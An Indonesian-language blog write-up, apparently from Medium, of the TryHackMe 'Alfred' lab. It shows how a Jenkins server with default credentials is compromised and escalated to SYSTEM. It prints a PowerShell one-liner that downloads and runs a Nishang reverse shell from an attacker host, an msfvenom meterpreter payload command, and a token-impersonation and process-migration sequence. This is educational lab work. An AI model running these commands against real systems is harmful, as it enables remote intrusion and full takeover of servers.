TryHackme — Alfred(Exploit Jenkins Service Gain To Authority/System)

Aliusmanclay67
5 min readApr 26, 2022

Hi semua pada artikel ini saya akan membagikan write up mechine tryhackme yang bername alfred mechine ini berfokus pada teknologi jenkins service saya harap kalian enjoy membacanya oke mari kita langsung saja ke materi utama.

Pada tahap awal saya melakukan recon menggunakan nmap untuk mengetahui service mana saja yang terbuka dan layanan apa saja di dalamnya.

disini kita mendapatkan info bahwa terdapat 2 layanan web service kemudian saya membuka kedua layanan tersebut di web browser.

Service IIS
Service Jenkins

Ternyata ada 2 layanan web service satu web statis biasa dan satunya lagi web service jenkins awalnya saya melakukan enumerasi pada service web iis tetapi tidak menemukan hal yang menari kemudian saya mencoba melakukan enumerasi pada service jenkins karena disini terdapat form login kemudian saya mencoba login page tersebut dengen kredensial admin:admin dan ternyata berhasil lalu saya diarahkan ke dashboard user.

Dashboard Jenkins

Disini saya mulai mencoba coba menu dari pengalaman yang saya dapatkan saat bermain mechine boot to root bahwa pada layanan jenkins ada sebuah menu yang membuat kita dapat melakukan revshell atau command berbahaya pertama kita perlu membuat project baru untuk nama bebas kalian isi nama apa kemudian pilih menu freestyle project dan klik OK.

kemudian akan diarahkan ke halaman konfigurasi projects lalu pada menu “build” silahkan pilih menu execute windows batch command pada dropdown.

Lalu kita bisa melakukan revshell atau execute command disini saya menggunakan nishang untuk revshell dan memanfaatkan powershell script untuk mentransfer file nisang kedalam web server.Pertama setting simple http server menggunakan python usahakan file revshellnya sudah disediakan.

kemudian untuk mentransfer file kita memerlukan powershell script sebagai berikut:

powershell iex(New-Object Net.WebClient).DownloadString(‘http://ip:port/Invoke-PowerShelltcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress Ip -Port port

pastekan payload diatas pada jenkins tadi dan jangan lupa nyalakan netcat untuk listening port.

dan setelah itu klik save lalu akan diarahakan lagi ke dashboar project pada menu disebelah kiri ada menu “build now” klik dan kemudian liat netcat maka akan ada backconnect dari server.

Berikut hasil ketika menerima backconnect dari server.

disini saya sudah mendapatkan backconnect lalu saya membaca flag user yang berada pada directory C:\Users\bruce\desktop\user.txt untuk membaca flag tinggal memakai command type user.txt ini sama saja seperti command cat yang ada di linux.

Disini saya belum mendapatkan stable shell dan ada beberapa command yang tidak bisa saya jalankan secara langsung maka dari itu saya akan membuat revshell lagi untuk mendapatkan stable shell saya menggunakan metasploit untuk generate payload revshell pada windows server dengan command sebagai berikut:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -a x86 -e x86/shikata_ga_nai -f exe -o shell.exe

kemudian transfer shell tadi kedalam webserver menggunakan powershell script:

powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://ip:port/shell.exe’,’shell.exe’)”

Setelah selesai tinggal nyalakan saja metasploit dan jalankan multi handler

Dan tinggal jalankan shell dari victim server dan kita akan menerima backconnect dari server.

Setelah mendapatkan stable shell disini saya melanjut enumerasi dengan mengecek privilege pada user bruce dengan command: whoami/priv

Dan disini saya mendapatkan hasil seperti diatas saya menemukan dua hak istimewa yang menarik yaitu SetDebugPrivilege dan SetImpersonatePrivilege untuk impersonate disini kita bisa impersonate sebagai admin/authority system untuk itu kita perlu module penyamaran pada metasploit sebagai berikut.

dan saya berhasil mendapatkan hak akses tertinggi NT AUTHORITY/SYSTEM lalu saya membaca file pada dir /system32/config/ untuk itu saya mengecek PID yang berjalan dengan command ps dan mendapatkan PID yang berjalan pada directory root flag.

lalu saya migrate PID yang semula 1848 ke 668 dengan command: migrate -P 668.

kemudian saya mencoba mencari root flag dengan command: search -f root.txt dan hasilnya sebagai berikut tinggal membacanya menggunakan type root.txt kita berhasil mendapatkan flag root dari mechine tersebut.

Mungkin sekian write up yang dapat saya sampaikan kurang lebihnya saya mohon maaf karena mau mendekati lebaran saya selaku author mengucapkan minal aidzin wal faidzin mohon maaf lahir dan batin mohon maaf apabila dalam tulisan saya ada salah salah kata.

See you in next write up>_<

--

--